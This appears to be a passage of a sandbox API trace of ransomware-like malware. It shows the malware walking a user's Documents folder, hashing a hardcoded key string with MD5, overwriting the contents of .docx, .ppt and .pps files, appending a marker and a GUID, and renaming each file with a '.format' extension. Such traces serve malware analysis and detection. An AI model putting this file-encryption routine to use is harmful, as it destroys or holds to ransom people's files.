1 [0068.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.863] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.863] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.863] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.863] CloseHandle (hObject=0x5c8) returned 1 [0068.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0068.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0068.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0068.864] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\5wR63HlMWYvMti0btzx.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\5wr63hlmwyvmti0btzx.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\5wR63HlMWYvMti0btzx.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\5wr63hlmwyvmti0btzx.docx.format")) returned 1 [0068.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.865] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ca84b0, ftCreationTime.dwHighDateTime=0x1d4cf68, ftLastAccessTime.dwLowDateTime=0x83312aa0, ftLastAccessTime.dwHighDateTime=0x1d4d4df, ftLastWriteTime.dwLowDateTime=0x83312aa0, ftLastWriteTime.dwHighDateTime=0x1d4d4df, nFileSizeHigh=0x0, nFileSizeLow=0xada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BfZiGgPvckLte.ppt", cAlternateFileName="BFZIGG~1.PPT")) returned 1 [0068.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.866] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\BfZiGgPvckLte.ppt") returned=".ppt" [0068.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\BfZiGgPvckLte.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\bfziggpvcklte.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.867] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=2778) returned 1 [0068.867] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.869] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.869] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.870] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.870] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xada, lpOverlapped=0x0) returned 1 [0068.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.870] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.870] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.871] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.871] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.871] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.871] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.871] GetLastError () returned 0x0 [0068.871] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.871] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xae0) returned 0x329cf20 [0068.871] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.871] WriteFile (in: hFile=0x5c8, lpBuffer=0x329cf20*, nNumberOfBytesToWrite=0xad5, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x329cf20*, lpNumberOfBytesWritten=0x38cfb24*=0xad5, lpOverlapped=0x0) returned 1 [0068.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0068.871] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xada, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.872] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.872] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.872] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.872] CloseHandle (hObject=0x5c8) returned 1 [0068.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0068.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\BfZiGgPvckLte.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\bfziggpvcklte.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\BfZiGgPvckLte.ppt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\bfziggpvcklte.ppt.format")) returned 1 [0068.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.873] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.874] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7373b60, ftCreationTime.dwHighDateTime=0x1d4cbde, ftLastAccessTime.dwLowDateTime=0x5aec6ea0, ftLastAccessTime.dwHighDateTime=0x1d4d012, ftLastWriteTime.dwLowDateTime=0x5aec6ea0, ftLastWriteTime.dwHighDateTime=0x1d4d012, nFileSizeHigh=0x0, nFileSizeLow=0x16e80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CWuI5tTSoD.pps", cAlternateFileName="CWUI5T~1.PPS")) returned 1 [0068.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\CWuI5tTSoD.pps") returned=".pps" [0068.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\CWuI5tTSoD.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\cwui5ttsod.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.875] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=93824) returned 1 [0068.875] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.877] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16e5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.877] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.878] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16e80, lpOverlapped=0x0) returned 1 [0068.878] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.879] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.879] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.879] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.879] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.879] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.879] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.879] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.879] GetLastError () returned 0x0 [0068.880] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.880] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16e80) returned 0x32b2f40 [0068.880] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.880] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x16e7b, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x16e7b, lpOverlapped=0x0) returned 1 [0068.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.881] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16e80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.881] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.881] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.881] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.881] CloseHandle (hObject=0x5c8) returned 1 [0068.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.882] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\CWuI5tTSoD.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\cwui5ttsod.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\CWuI5tTSoD.pps.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\cwui5ttsod.pps.format")) returned 1 [0068.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.883] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.884] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x585da5a0, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x8af46630, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0x8af46630, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x5092, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stmz_Vxkz.docx", cAlternateFileName="STMZ_V~1.DOC")) returned 1 [0068.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.884] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\stmz_Vxkz.docx") returned=".docx" [0068.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\stmz_Vxkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\stmz_vxkz.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.884] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=20626) returned 1 [0068.884] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.887] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x506c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.887] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.888] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x5092, lpOverlapped=0x0) returned 1 [0068.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.888] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.889] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.889] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.889] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.889] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.889] GetLastError () returned 0x0 [0068.889] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.889] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5090) returned 0x32b2f40 [0068.889] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.889] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x508d, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x508d, lpOverlapped=0x0) returned 1 [0068.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5092, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.890] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, 